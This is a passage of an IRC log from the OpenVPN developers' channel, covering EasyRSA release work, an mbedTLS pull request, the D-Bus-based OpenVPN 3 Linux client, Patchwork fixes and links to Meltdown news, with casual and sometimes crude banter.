or why only master) 10:54 <@ordex> I see, oky 11:25 <@syzzer> ordex: I could use a 13th month this year though! :p 11:25 <@ordex> :D 14:40 < tincantech> ecrist: personnaly, i would delete and perma-ban .. but you are too soft on these assholes : https://forums.openvpn.net/viewtopic.php?f=30&t=25451&p=75047#p75044 14:40 <@vpnHelper> Title: contact admin / disappearing post - OpenVPN Support Forum (at forums.openvpn.net) 17:29 <@ordex> dazo: I have created a PR for mbedTLS for the "problem of decrypting private keys encrypted with ossl-1.1" 17:29 <@ordex> dazo: if you have somebody to poke to get this higher priority ... please do :P 17:29 <@ordex> dazo: https://github.com/ARMmbed/mbedtls/pull/1219 17:29 <@vpnHelper> Title: pkcs5: add support for additional hmacSHA algorithms by ordex · Pull Request #1219 · ARMmbed/mbedtls · GitHub (at github.com) 18:08 < tincantech> ordex: fk me .. even i can understand that ! 18:09 <@ordex> :D 18:10 < tincantech> respect --- Day changed Wed Dec 20 2017 02:08 <@syzzer> ordex: I +1'd your pull request. If nobody from mbed responds in a fey days, try the forum. Then have a community manager kind-of guy (Ron) that actively responds on the forums. 04:30 <@syzzer> mattock: meeting time? 04:33 <@cron2> oh, indeed 06:54 <@ordex> syzzer: Ron has already flagged the PR and dazo has reached out to Simon. Hopefully somebody will take a look soon. The code is simple, but the integration process is always tedious :S 06:54 <@syzzer> ordex: ah, good. 07:52 * ecrist +1's 07:57 <@ecrist> tincantech: that post is hardly worthy of a forum ban 08:20 < tincantech> ecrist: to me it looks like a deliberate attempt to wind up the admin .. did you see his followup .. i bet you a steak dinner he is trolling 08:21 <@ecrist> tincantech: what follow up? 08:48 < tincantech> ecrist: https://forums.openvpn.net/viewtopic.php?f=6&t=25472 08:48 <@vpnHelper> Title: UNABLE TO CONNECT TO THE INTERNET - OpenVPN Support Forum (at forums.openvpn.net) 08:49 < tincantech> anyway .. don't worry about it .. it is just my opinion nothing more 08:56 < tincantech> ordex: sorry to jump in again ;) https://forums.openvpn.net/viewtopic.php?f=6&t=25476&p=75081#p75081 08:56 <@vpnHelper> Title: OpenVPN Pi setup not listening - OpenVPN Support Forum (at forums.openvpn.net) 09:45 <@ordex> tincantech: gogo 11:28 < jpwhiting> hey all, I have gotten an error message in openvpn log once on windows saying GetAdaptersInfo #2 failed and the error code is 111 meaning file name is too long 11:28 < jpwhiting> what file does that mean? we aren't passing any filenames into GetAdaptersInfo... 11:29 < jpwhiting> I see the error message in openvpn sources tun.c, but don't understand why we are hitting it 11:29 < jpwhiting> googling gives this result https://forums.openvpn.net/viewtopic.php?t=9548 but that doesn't seem to be the case here, I'm only using one vpn connection, not two 11:29 <@vpnHelper> Title: GetAdaptersInfo #2 failed - OpenVPN Support Forum (at forums.openvpn.net) 11:31 < jpwhiting> and when this happens openvpn process is using a lot of cpu and needs to be killed since routes are messed up 13:14 < tincantech> jpwhiting: is that your custom tap driver ? 13:15 < jpwhiting> tincantech: nope, just normal adapter currently 13:15 < jpwhiting> and doesn't happen often, I'm just trying to figure out what it means when it does 13:15 < jpwhiting> I added some code to restart openvpn when we see that in the log, but I'd still like to understand what file name has gotten too long :) 13:16 < jpwhiting> for my curiosity 13:22 < tincantech> i have a feeling the error message may be erroneous, judging by mimiko's solution to increase --route-delay .. did you try that ? 13:48 < tincantech> there is also --up-delay 15:24 < jpwhiting> yeah, probably, no I didn't try that, I didn't hit the issue myself, a user did, I was just curious as to the cause 15:24 < jpwhiting> maybe GetAdapterInfo windows call is implemented in such a way that in runs some script somewhere to do the work and the file name is too long in some cases or something silly like that 15:36 < tincantech> try the delay approach .. windows tap adapter is known to have odd problems what with software firewalls and such .. hence the --*delay options, gives windows a chance to work out wtf is going on ;) 20:07 -!- Netsplit *.net <-> *.split quits: @syzzer 20:08 -!- Netsplit over, joins: syzzer 20:08 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 20:47 <@ecrist> EasyRSA v3.0.4 aka "Andrei Mikhailov's Personal Release" 20:47 <@ecrist> not really, but shit 21:39 < tincantech> ecrist: TF ? 21:40 < tincantech> fyi: i got problems of my own 21:40 < tincantech> :D 21:40 < tincantech> :C 21:41 <@ecrist> what do you mean? 21:42 < tincantech> forget my shit .. wtf are you on about ? 21:42 <@ecrist> I just pushed a new branch for EasyRSA, starting to stage for a 3.0.4 release 21:42 * tincantech looking 21:42 <@ecrist> hoping this weekend if I can build in a couple tests 21:42 <@ecrist> the new branch is basically master, but is where we'll stablilze 21:43 < tincantech> on github ? 21:43 <@ecrist> new expirimental stuff will go to master, but stability changes will go to v3.0.4 21:43 <@ecrist> and it is now the default branch 21:43 <@ecrist> yes 21:45 * ecrist poofs (laptop is dead) --- Day changed Thu Dec 21 2017 00:26 -!- Netsplit *.net <-> *.split quits: @plaisthos 00:31 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 00:31 -!- ServerMode/#openvpn-devel [+o plaisthos] by hobana.freenode.net 00:48 -!- Netsplit *.net <-> *.split quits: @plaisthos 01:24 -!- Netsplit over, joins: plaisthos 01:24 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ --- Log opened Thu Dec 21 11:35:23 2017 11:35 -!- Irssi: #openvpn-devel: Total of 31 nicks [8 ops, 0 halfops, 1 voices, 22 normal] 11:35 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 11:35 -!- Irssi: Join to #openvpn-devel was synced in 5 secs 11:36 * ecrist grumbles about hypervisor maintenance 11:52 < tincantech> ecrist: i presume you know that easy-rsa 3.0.4 is broken ? 11:52 <@ecrist> tincantech: 3.0.4 branch is just a copy of master, which is kinda broken 11:53 <@ecrist> I believe I said as much to you yesterday 11:53 < tincantech> ok .. just wanted to check :) no hassle meant 11:54 <@ecrist> 21:42 <@ecrist> I just pushed a new branch for EasyRSA, starting to stage for a 3.0.4 release 11:54 <@ecrist> 21:42 * tincantech looking 11:54 <@ecrist> 21:42 <@ecrist> hoping this weekend if I can build in a couple tests 11:54 <@ecrist> 21:42 <@ecrist> the new branch is basically master, but is where we'll stablilze 16:00 < tincantech> ecrist: are you determined to remove $(...) from easyrsa3 ? --- Day changed Fri Dec 22 2017 04:12 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: ZNC - http://znc.in] 04:20 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 04:20 -!- mode/#openvpn-devel [+o mattock] by ChanServ 04:53 <@dazo> OpenVPN 3 Linux client released .... https://gitlab.com/openvpn/openvpn3-linux https://github.com/OpenVPN/openvpn3-linux (not production ready, but ready for more widespread hacking) 04:53 <@vpnHelper> Title: OpenVPN / openvpn3-linux · GitLab (at gitlab.com) 07:52 <@syzzer> dazo: congrats! 07:52 <@dazo> thx! 08:10 <@ordex> dazo: yay! 08:54 <@ecrist> dazo: why do you specify "linux" in the release? 08:54 <@ecrist> does it not support real UNIX systems? 08:55 <@dazo> ecrist: because it targets Linux ... and Linux is the where the users are ;-) 08:56 < openvpn-slack> <johan> i think ecrist now feels left out 08:56 <@ecrist> I'm half being snarky, and half wondering why you honestly left the others out 08:56 < openvpn-slack> <johan> see? 08:56 <@dazo> it might build and work on your beloved FreeBSD too ... but then you need to install D-Bus ;-) 08:56 <@ecrist> fuck d-bus 08:56 <@ecrist> ^^ honesty 08:56 <@ecrist> ;) 08:56 <@dazo> D-Bus is quite nice and clever 08:56 <@dazo> :) 08:57 < openvpn-slack> <johan> d-bus.. is that the one that goes to the shopping mall and the train station? 08:57 <@ecrist> but really, is d-bus going to be required for openvpn 3? 08:57 <@ecrist> johan - that's the one where there's that guy, picks girls up on street, and shoots videos, I think 08:58 < openvpn-slack> <johan> oh.. so you can get the d 08:58 < openvpn-slack> <johan> i get it 08:59 <@dazo> for _this_ client, for the foreseeable future, yes. I'm not imposed to support other IPC/messaging approaches ... the code should be possible to tweak to allow D-Bus to be replaced with something else .... *but* providing the features of D-Bus (authorization control and auto-start, to mention a few important aspect we now use), that will require quite some extra work 08:59 <@ecrist> I'm disappointed. 09:00 <@dazo> well, just realise that openvpn 3 is primarily a library ... _this_ client uses that library and targets Linux 09:00 <@dazo> with D-Bus 09:03 < tincantech> isn't that spelled "octopus" not "fuckdebus" 09:04 < openvpn-slack> <johan> you're... supposed to have intimate relations with the ..bus? 09:04 < openvpn-slack> <johan> wow that's just too freaky for me 09:05 < openvpn-slack> <johan> i for one welcome the new d-bus openvpn3 linux client even if it does make ecrist feel left out 09:07 <@ecrist> for what it's worth, I'm displeased. 09:07 * dazo shrugs 09:07 <@ecrist> I'll leave it at that for the moment. 09:07 <@dazo> can't satisfy everyone :) --- Log closed Fri Dec 22 09:07:53 2017 --- Log opened Fri Dec 22 22:53:09 2017 22:53 -!- Irssi: #openvpn-devel: Total of 30 nicks [8 ops, 0 halfops, 1 voices, 21 normal] 22:53 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 22:53 -!- Irssi: Join to #openvpn-devel was synced in 1 secs --- Day changed Sat Dec 23 2017 02:49 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 248 seconds] 03:14 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 03:14 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 09:36 <@ordex> ecrist: for what concern the new ovpn3 linux client and other *NIX: my vision of the new client is that this is more a fully fledged *Desktop* client, which thus builds upon important building blocks of the system, like dbus. I am also a dbus hater generally, but I understand that it is important a *fully working* desktop machine. 09:37 <@ordex> However, this also open another discussion, which is what will be about embedded devices using minimal openvpn clients. they may have dbus (lede has ubus which should somewhat mimic the same functionalities), but they won't be able to accommodate a full desktop client 16:28 <@plaisthos> I think I should include OpenVPN 3 in my client 16:36 <@ordex> plaisthos: not a bad idea 16:37 <@plaisthos> ordex: the code to do that is there since 2012 :D 16:37 <@plaisthos> or 2013 16:37 <@ordex> :D 16:38 <@plaisthos> I have to check if it still compiles with OpenSSL 16:38 <@plaisthos> or if I should ship it with mBedTls and sacrifice speed 16:44 <@ordex> did you perform any test on arm recently ? 16:47 <@plaisthos> well OpenSSL on my phone and tablets gets 900 MB/s with AES 16:48 <@plaisthos> and 87 MB/s with Blowfish 16:49 <@plaisthos> But I don't want to change crypto library for OpenVPN 2, so compiling OpenVPN 3 with openssl would allow me to ship only one library 17:16 <@ordex> plaisthos: because you want to ship both clients? 17:32 <@plaisthos> ordex: yeah 17:32 <@plaisthos> openvpn2 is the more feature complete at the moment 19:07 <@plaisthos> ordex: bah, openvpn3 does not like openssl 1.1.0 19:07 <@plaisthos> openvpn3/openvpn/openssl/bio/bio_memq_stream.hpp:58:7: error: member access into incomplete type 'BIO' (aka 'bio_st') --- Day changed Sun Dec 24 2017 05:23 <@ordex> plaisthos: nope - it has not been adapted for that 05:24 <@ordex> plaisthos: I can tell you that there might be some client features that have not been implemented in the openssl backend 06:27 <@plaisthos> *sigh* 06:27 <@plaisthos> so probably two different ssl libraries it is 06:27 <@plaisthos> what mbed tls do I need, current one or an older one? 06:45 <@ordex> plaisthos: we currently build using mbedTLS 2.6.0 06:45 <@ordex> but i think 2.6.1 should work too 07:07 <@ordex> plaisthos: or you can test again openvpn2 with mbedtls and see what you get :P 07:07 <@ordex> maybe it's better nowadays 07:09 <@plaisthos> ordex: still things like pkcs12 missing iirc 07:09 <@ordex> oh, dunno about those 07:10 <@plaisthos> also I don't want to switch there as it might break the more osbscure configs that still depend on OpenSSL 07:10 <@ordex> yeah 07:10 <@ordex> switching always brings its dose of pain :) 07:10 <@ordex> no matter what you are switching to :P 07:11 <@plaisthos> openssl 1.0.2 to 1.1.0 already broke a lot of configs 07:14 <@ordex> I see 07:26 <@plaisthos> hm do I write a CMakefile for openvpn3 or do write a Android make file for clang ... :0 09:05 <@plaisthos> ...for mbedtls ... 09:16 <@ordex> plaisthos: why clang ? 09:16 <@ordex> I normally compile mbedtls with the android-ndk toolchain 10:08 <@ecrist> any git pros here? I made a commit to a branch (intended) 10:08 <@ecrist> I also want to merge that commit to master 10:09 <@ecrist> how do I do this? 10:18 <@ordex> ecrist: if you want to "merge" only that commit, then you want to "cherry-pick" it 10:19 <@ordex> unless you want to merge the entire branch 10:19 <@ordex> (which my contain more commits) 10:20 < tincantech> ecrist: out of curiosity .. why are you doing that instead of either $(default_server_san foo) or `...` 10:23 < tincantech> both of which are POSIX: http://pubs.opengroup.org/onlinepubs/009695399/utilities/xcu_chap02.html#tag_02_06_03 10:23 <@vpnHelper> Title: Shell Command Language (at pubs.opengroup.org) 10:34 < tincantech> and both of which also fix #168 10:39 < tincantech> seems like you broke it by ripping out local and these fixes are not right .. you *are* loosing functionality from default_server_san() (eg: IP=$cn) 10:46 < tincantech> you *really* don't want to discuss it ...... 10:52 < tincantech> ecrist: your latest "fix" does ****not**** fix #168 ... 10:53 < tincantech> I just don't get wtf it is with easyrsa .. it's broken and you are breaking it more ! 10:55 < tincantech> what is $sname ? you don't assign it 11:14 < tincantech> if you will not discuss it here then i will put it all on github 11:14 < tincantech> ecrist: ^ 11:23 < tincantech> $sname .. should be in$ane 11:53 <@plaisthos> ordex: Android ndk is clang by default. But I actually meant cmake 12:37 <@plaisthos> but I want to 13:17 < tincantech> ecrist: if it works on your system then your system is broken 13:21 < tincantech> ~/git/304/easyrsa3 $ grep 'sname' easyrsa --- Day changed Tue Dec 26 2017 13:10 -!- Irssi: #openvpn-devel: Total of 29 nicks [9 ops, 0 halfops, 1 voices, 19 normal] 13:10 <@ecrist> I don't understand the hostility of tincantech. 13:11 <@ecrist> FWIW, he replied on github (https://github.com/OpenVPN/easy-rsa/commit/b3ed48042eaacec24c548a436293b4344e43d81f#commitcomment-26464484) that the fix does, indeed work. 13:11 <@vpnHelper> Title: Correct subjectAltName errors in server sign · OpenVPN/easy-rsa@b3ed480 · GitHub (at github.com) 13:15 <@ecrist> ordex: in the case of this, the commit in question is the only one. 13:16 <@ecrist> if there were more, is there a guide on cherry-picking? 13:16 <@ordex> if there are more, but still not all, I'd still cherry-pick them all one by one 13:17 <@ordex> ecrist: I can only recommend man git-cherry-pick 13:17 <@ordex> it just picks one cmmit and applies it on the working branch 13:17 <@ordex> *commit 13:18 <@ecrist> thanks, that'll give me enough info 13:24 <@ordex> np! 13:24 * pekster would suggest if breaking older documented features the --help be updated, and a warning be inserted into the ChangeLog. Just my 2￠ 13:26 < pekster> default_server_san() originally support IP (v4, could perhaps use an update for v6) types as well; that was largely the point of it. Docs appear to suggest that still works as part of that bugfix, so either 1) the bugfix is still incomplete, or 2) the interface has changd subtly and needs documentation updates to complete the feature and any suitable warnings to let users relying on the old API know it's going to break 17:06 <@ecrist> pekster: good information 17:06 <@ecrist> thank you for the feedback --- Log closed Tue Dec 26 20:21:59 2017 --- Log opened Tue Dec 26 20:22:41 2017 20:22 -!- Irssi: #openvpn-devel: Total of 29 nicks [8 ops, 0 halfops, 1 voices, 20 normal] 20:22 -!- mode/#openvpn-devel [+o ecrist_] by ChanServ 20:23 -!- Irssi: Join to #openvpn-devel was synced in 38 secs 20:24 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 20:24 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 22:13 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 268 seconds] 23:07 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 23:07 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Log opened Sat Dec 30 16:56:51 2017 16:56 -!- Irssi: #openvpn-devel: Total of 28 nicks [6 ops, 0 halfops, 1 voices, 21 normal] 16:56 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 16:57 -!- Irssi: Join to #openvpn-devel was synced in 17 secs 16:57 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 16:57 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 17:51 <@vpnHelper> RSS Update - tickets: #971: "management tunnel " ignores port <https://community.openvpn.net/openvpn/ticket/971> --- Day changed Sun Dec 31 2017 09:37 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 248 seconds] 09:40 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 09:40 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Mon Jan 01 2018 02:17 <@vpnHelper> RSS Update - tickets: #972: openvpn-gui does not show login/password window on "verb 30" <https://community.openvpn.net/openvpn/ticket/972> 02:23 <@vpnHelper> RSS Update - tickets: #973: restart network adapter leads to "AUTH_FAILED" <https://community.openvpn.net/openvpn/ticket/973> 06:43 <@ordex> happy new year :) 06:49 <@syzzer> thanks, best wishes to y'all! 06:58 <@ordex> :) 06:59 < openvpn-slack> <johan> insert generic new year's wish here 07:22 <@syzzer> thanks, johan! 10:33 <@plaisthos> 10:33 <@plaisthos> happy new year! 16:10 -!- mode/#openvpn-devel [+o ordex] by ChanServ --- Day changed Tue Jan 02 2018 00:52 < eyal> !git 00:52 <@vpnHelper> "git" is (#1) The public git trees are here: a) git://git.code.sf.net/p/openvpn/openvpn, b) https://gitlab.com/openvpn/openvpn.git, c) https://github.com/OpenVPN/openvpn/, or (#2) All of these git locations should always be in sync and identical, if not something bad has happened and you should inform the developers ASAP, or (#3) See !git-doc how to use git, or (#4) for the windows TUN/TAP driver 00:52 <@vpnHelper> repo, look at !tapdrvr, or (#5) git troubles? http://justinhileman.info/article/git-pretty/git-pretty.png 00:53 < eyal> !meetings 00:53 <@vpnHelper> "meetings" is (#1) OpenVPN developers meetings are usually held on Mondays @ 18:00 UTC. Ask mattock, cron2 or dazo for latest info. Meetings are normally announced in advance on the openvpn-devel mailing list, or (#2) Meeting agendas and minutes are here: https://community.openvpn.net/openvpn/wiki/IrcMeetings 00:56 < eworm> Good morning everybody and a happy new year! 00:59 < eworm> Any chance to have the easy-rsa release files uploaded to github? 00:59 < eworm> Or is there another source to get them? --- Log closed Tue Jan 02 02:55:51 2018 --- Log opened Wed Jan 03 07:10:03 2018 07:10 -!- Irssi: #openvpn-devel: Total of 29 nicks [7 ops, 0 halfops, 1 voices, 21 normal] 07:10 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 07:10 -!- Irssi: Join to #openvpn-devel was synced in 9 secs 07:20 <@syzzer> ordex: for openvpn 2, no ownership transfer is needed, just "I release this under GPLv2" 07:20 <@syzzer> for openvpn 3, I'm not entirely sure, but we've talked about a CLA 07:20 <@ordex> syzzer: oky 07:20 <@syzzer> at least that's what I believe :p 07:20 <@ordex> yeah, for openvpn3 we'll need a cla 07:20 <@ordex> eheh 07:43 <@ecrist> CLA? 07:44 <@ordex> yeah 07:44 <@ecrist> what is that? 07:44 <@ecrist> is openvpn 3 not being released under GPL? 07:45 <@syzzer> ecrist: dual licensed, so Apple will allow it into their waller garden 07:46 <@ecrist> oh, yeah, that Apple thing 07:47 <@ordex> yeah, quite annoying 07:48 <@ordex> in this regards, Google is much better, even though I am not a fan of big g 07:48 <@ecrist> I'm still an Apple user, but that company has really gone down hill since Steve died. 07:58 <@ordex> well, the real problem is exactly what syzzer says: they have a walled garden. all the people entering it are basically required to stick to their ecosystem (unless they want to hack their way out, but i don't consider that an average user skill) 07:59 < openvpn-slack> <johan> i like apple 07:59 < openvpn-slack> <johan> but i prefer it in a pie 08:00 < openvpn-slack> <johan> warm apple pie, and with some icecream. 08:00 < openvpn-slack> <johan> mmm 08:04 <@ordex> plaisthos: 1 pkt per 300s sounds very close to TCP over pigeon 08:04 <@ordex> was it the same RFC ? :P 08:20 <@syzzer> ordex: when using modern SD cards as send/receive buffers, TCP-over-pigeon can have quite a bandwidth, I guess :p 08:21 <@ordex> :D 08:25 < openvpn-slack> <johan> i wonder how many micro-SD cards a pigeon can carry 08:53 < openvpn-slack> <johan> wow apparently with training a pigeon can carry around 75grams. and a microsd card is about half a gram. so 150x400gb = 60tb 09:47 < tincantech> https://www.theregister.co.uk/2018/01/02/intel_cpu_design_flaw/ 09:47 <@vpnHelper> Title: 'Kernel memory leaking' Intel processor design flaw forces Linux, Windows redesign • The Register (at www.theregister.co.uk) 10:10 < openvpn-slack> <johan> wheeee -flushes 30% of performance- 10:28 < tincantech> kind of sad .. I wonder if my old-old pentium is effected ? it is older than 10 years so it is slow anyway ! 13:08 < tincantech> ordex: i have been testing yr ipv6pf .. so far everything looks good 13:10 <@ordex> tincantech: cool thanks! you can send a Tested-By: .... to the ml if you want 14:37 <@ordex> syzzer: what are the dependencies for the tls-crypt-v2 patchset ? I mena what other patches are required before the tls-crypt-v2 patchset could be also applied? --- Day changed Thu Jan 04 2018 00:51 -!- cron2 [gert@openvpn/community/developer/cron2] has joined #openvpn-devel 00:51 -!- mode/#openvpn-devel [+o cron2] by ChanServ 00:51 <@cron2> mornin 00:52 * cron2 wondered why it was so quiet here, and then noticed he ended up on #openpvn.devel with a "."... 00:52 <@cron2> *sigh* 00:52 <@cron2> so... did you have your daily nightmares yet? https://meltdownattack.com/ 00:52 <@vpnHelper> Title: Meltdown and Spectre (at meltdownattack.com) 00:54 <@cron2> https://googleprojectzero.blogspot.de/2018/01/reading-privileged-memory-with-side.html 00:54 <@vpnHelper> Title: Project Zero: Reading privileged memory with a side-channel (at googleprojectzero.blogspot.de) 00:54 <@cron2> and this, for the juicy details 01:56 < eworm> if a client sends peer info "IV_LZO_STUB=1" it supports the wire protocol for signalling compression, but without actually supporting compression? 02:04 <@cron2> no, it supports LZO STUB 02:05 <@cron2> (IV_LZO_STUB is non-exclusive, it could be sending IV_LZ4=1 at the same time) 02:06 <@cron2> we can investigate in more detail later, but I have to leave and attend a customer meeting *now* - bbl 02:55 <@syzzer> ordex: there should be none (see https://github.com/syzzer/openvpn/commits/tls-crypt-v2-preview4) 02:55 <@vpnHelper> Title: Commits · syzzer/openvpn · GitHub (at github.com) 03:04 <@ordex> syzzer: thanks 03:52 <@syzzer> So here are my first measurements for the control channel improvements until now: https://delft.syzzer.nl/zut/controlchanperf.pdf 03:53 <@syzzer> this is without changing the window sizes 03:53 <@syzzer> but these are needed to make larger windows work efficiently 03:54 <@syzzer> the interactions between all these measures are quite interesting, without 'moredata', fast retransmit would *worsen* performance, instead of improve... 03:55 <@syzzer> I'll probably send the patch for 'moredata' to the list later today, now first off to meeting 05:17 <@ordex> thanks for the chart syzzer ! 05:18 <@ordex> syzzer: what is "moredata" exactly ? 05:18 <@ordex> (maybe I jusr wait for the patch to clarify that :)) 06:08 <@syzzer> ordex: patch on the list :) 06:10 <@ordex> syzzer: oh interesting 08:00 <@mattock> Patchwork now works, feel free to redirect missing patches 08:01 <@mattock> the problems was wrong project List-Id: it was "openvpn-devel" but should have been "openvpn-devel.lists.sourcerforge.net" 08:02 <@mattock> I'm 99,9% sure it worked with "openvpn-devel" earlier, and the patchwork code is the same (git tag "v2.0.0") 08:02 <@mattock> anyhow, problem solved 08:22 <@ordex> mattock: yeah weird, but thanks for fixing it :) 08:24 <@mattock> ordex: no problem! it needed to be fixed 08:25 <@ordex> mattock: how did you bounce the old patches? with the redirect plugin ? 08:26 <@ordex> mh I just bounced my ACKs but they did not appear in patchworl 08:26 <@ordex> *patchwork 08:26 <@ordex> I wonder if it can't match the email I replied to 08:28 <@ordex> mh the in-reply-to matches the message-id of the email in the patchwork list 08:28 <@mattock> is the actual patch email in there? 08:28 <@ordex> yes 08:28 <@mattock> it's possible that patchwork is in slightly confused state right now 08:28 <@ordex> yeah could be 08:29 <@mattock> with individual patch emails being redirected to it 08:29 <@ordex> ah wait I may know what i have done wrong 08:29 <@syzzer> it doesn't accept my bounces either, it seems 08:30 <@syzzer> please tell me in that case, ordex 08:30 <@ordex> working now 08:30 <@syzzer> (might also be our $corp mail server, which is usually very strictly configured) 08:30 <@mattock> I was able to bounce a number of emails just fine 08:31 <@ordex> first I bounced my "sent" email, but that was not correct. while bouncing my email as received from the ml is working 08:31 <@mattock> yeah, that's what I did also 08:31 <@syzzer> ordex: hm, I tried that too 08:31 <@syzzer> but doesn't seem to work 08:31 <@ordex> syzzer: oh ok...are you sure the in-reply-to ID is the same as the message-id in the patchwork list? 08:31 <@syzzer> probably our mail server, will try from home 08:32 <@ordex> syzzer: you can tell me which one you want to bounce and I can do it now 08:32 * ordex is on a bouncing crusade 08:35 <@syzzer> the more data patch 08:35 <@syzzer> and the verify_cert_export one 08:35 <@ordex> done 08:35 <@syzzer> thanks! 08:35 <@ordex> the latter with selva's ack too 08:35 <@ordex> np! 08:35 <@cron2> NetBSD people are fixing their IP_PKTINFO implementation... so when NetBSD 9 hits the shelves, we finally have working v4+v6 --multihome on all platforms (except AIX) 08:37 <@ordex> cool :) 08:41 <@ordex> ok, I bounced a few more patches/acks. hopefully I haven't missed any 08:52 <@mattock> cron2: I'm sure AIX developers are scurrying around to fix that at their end :P 08:52 <@cron2> totally so :) 10:06 <@ordex> btw, it seems a good bunch of users like to use github to report issues, why not re-enabling that with a bridge to our mailing list? the nmap project does something similar afaics 10:06 <@ordex> every issue message gets redirected as an email to the mailing list, so both are in sync and people using the ml only do not miss anything 10:06 <@ordex> not usre it is really helpful...just throeing in an option 10:54 <@vpnHelper> RSS Update - gitrepo: mbedtls: fix typ0 in comment <https://github.com/OpenVPN/openvpn/commit/c68a025a1ca687c19d7ae8599464f768b7525df5> || Allow learning iroutes with network made up of all 0s (only if netbit… <https://github.com/OpenVPN/openvpn/commit/a19c56db9bd42b7b8c4a8f353f7db92781397cec> || reload HTTP proxy credentials when moving to the next connection profile <https://github.com/OpenVPN/openvpn/commit/86b58ceb29cf1cc3acf3 11:01 <@syzzer> whee, commits! 12:10 <@ecrist> ordex: because the ML isn't the only place, trac is our "official" bug tracker 12:10 <@ecrist> The mantra is "create a trac ticket" 13:39 <@cron2> syzzer: not really. that is old stuff vpn-helper rediscovered 15:23 <@ordex> ecrist: yeah that's also true 21:13 <@ecrist> the exception there is I'm handling EasyRSA stuff in github. 21:46 < tincantech> ecrist: oh tha is pushing it .. "handling" you mean "hanging on " :) 21:47 < tincantech> jk ;) 21:47 < tincantech> ordex: if you are interested i have a new challenge for you ? 22:01 < tincantech> is it me .. or does the "default pull request" to openvpn look a lot like the greeting you might get from magrathea 22:01 < tincantech> followed by a couple of nukes on a collision course ! --- Day changed Fri Jan 05 2018 00:49 <@cron2> you cannot turn off pull requests on github, but you *can* discourage them with a clear message 00:49 <@cron2> so, yes 01:13 <@cron2> mattock: IPv6 reachability to build.openvpn.net is very spotty since yesterday evening 01:15 <@cron2> mmmmh 01:16 <@cron2> but that might actually be a local issue here with one of the upstream providers... *investigating* 01:31 <@ordex> tincantech: ? 01:46 <@cron2> mattock: local issue. Very weird. 02:27 <@syzzer> cron2: oh, right. In that case, "whee, vpnHelper is back!" :p 02:28 <@vpnHelper> RSS Update - tickets: #975: OpenVPN and torrents <https://community.openvpn.net/openvpn/ticket/975> 02:34 <@ordex> :D 06:14 < tincantech> PR#100 was a direct hit with the nukes and that whale and pot of flowers is no more ;-) 06:16 < tincantech> ordex: this is just a thought experiment: --server-nat (so server with auto-nat) only necessary use case would be windows server as everything else can do nat easily 08:00 <@ecrist> mattock: I rebooted the forum VM. Not sure if that was sufficient to change the hypervisor or not. 08:40 <@ordex> in case somebody is looking for an agile board to link to github projects: https://www.zenhub.com/ seems promising 08:40 <@vpnHelper> Title: ZenHub - Agile Project Management for GitHub (at www.zenhub.com) 08:40 <@ordex> even though I love redmine:P 17:39 < tincantech> blowdryer ;) --- Log closed Fri Jan 05 20:18:01 2018 --- Log opened Mon Jan 08 07:19:58 2018 07:19 -!- Irssi: #openvpn-devel: Total of 31 nicks [8 ops, 0 halfops, 1 voices, 22 normal] 07:20 -!- mode/#openvpn-devel [+o ecrist_] by ChanServ 07:20 -!- Irssi: Join to #openvpn-devel was synced in 8 secs 07:34 -!- You're now known as ecrist 13:46 -!- tincantech is now known as slypknot 13:48 -!- slypknot is now known as tincantech --- Day changed Tue Jan 09 2018 06:25 <@vpnHelper> RSS Update - tickets: #977: Cryptoapicert and TLS 1.2 issue <https://community.openvpn.net/openvpn/ticket/977> 07:43 < tincantech> sorry this is off topic but get this: my W10 is telling me that internet time was synched with a computer that was not even switched on at the time it says it was synced .. what do you do with that sort of info .. 08:14 <@vpnHelper> RSS Update - gitrepo: Fix memory leak in buffer unit tests <https://github.com/OpenVPN/openvpn/commit/2c7c760dfbddbc9cf348bce06fa922c1217a2039> || travis-ci: add brew cache, remove ccache <https://github.com/OpenVPN/openvpn/commit/0c1b9864184e609b68c2bb317ee57317ae12a026> 08:18 <@syzzer> whee, commits! \o/ (now for real) 08:18 <@cron2> hehe 08:36 <@vpnHelper> RSS Update - gitrepo: travis: use clang's -fsanitize=address to catch more bugs <https://github.com/OpenVPN/openvpn/commit/7b11915ddfe97d8c28f998db54c40384a4eafb93> 09:04 <@cron2> mmmh 09:04 <@cron2> ecrist has done updates, it seems 09:15 <@cron2> syzzer: can I have a patch for Re: [Openvpn-devel] openvpn segfaults on --management-external-key with ECC certificate? 09:28 <@plaisthos> cron2: simple just enforce OSSL >= 1.10 *ducks* 09:28 <@cron2> we'll get there :) 09:29 <@plaisthos> wheee I broke the builds of other people even more *evil grin* 09:30 <@plaisthos> I am now building now openvpn/openssl/openvpn3/mbedtls with cmake and fails in bizzare ways for people trying to change things 09:30 <@cron2> fun 09:37 <@vpnHelper> RSS Update - gitrepo: Don't throw fatal errors from verify_cert_export_cert() <https://github.com/OpenVPN/openvpn/commit/fb515a831dd530b9fb0c1581418d82bc74da6f8e> || Return NULL if GetAdaptersInfo fails <https://github.com/OpenVPN/openvpn/commit/5050c5b1ec3f2aa04140ab83f2498b3329381ee4> 09:40 <@cron2> mattock: meeting tomorrow? 09:45 <@ordex> cron2: you've applied a patch without signed-off-by the author :P 09:46 <@ordex> namely: [PATCH v3] travis-ci: add brew cache, remove ccache - I mentioned that 